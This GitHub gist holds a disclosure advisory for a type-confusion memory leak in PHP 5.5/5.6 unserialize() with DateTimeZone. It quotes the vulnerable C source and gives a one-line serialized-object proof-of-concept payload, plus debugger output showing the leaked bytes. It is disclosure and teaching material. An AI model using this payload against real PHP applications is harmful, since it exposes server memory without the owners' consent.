Skip to content

Instantly share code, notes, and snippets.

@chtg
Last active August 29, 2015 14:14
Show Gist options
  • Save chtg/a492176ff789120689f9 to your computer and use it in GitHub Desktop.
Save chtg/a492176ff789120689f9 to your computer and use it in GitHub Desktop.
Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone

#Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone

Taoguang Chen <@chtg> - Write Date: 2015.1.29 - Release Date: 2015.2.20

A type confusion vulnerability was discovered in unserialize() with DateTimeZone object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks.

Affected Versions

Affected is PHP 5.6.x
Affected is PHP 5.5.x

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;
 
	if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}
...
static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char *tz) /* {{{ */
{
	timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
	int           dst, not_found;
	char         *orig_tz = tz;

	dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, &not_found, DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
	if (not_found) {
		php_error_docref(NULL, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);

The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory address, and outputing a string via an warning level error message that start from this memory address.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896;}');

?>

Test the PoC on the command line, then show warning level error message:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test/test.php
Process 889 launched: '/usr/bin/php' (x86_64)

Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (UH??AWAVAUATSH??8) in /test/test.php on line 3
Process 889 exited with status = 0 (0x00000000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment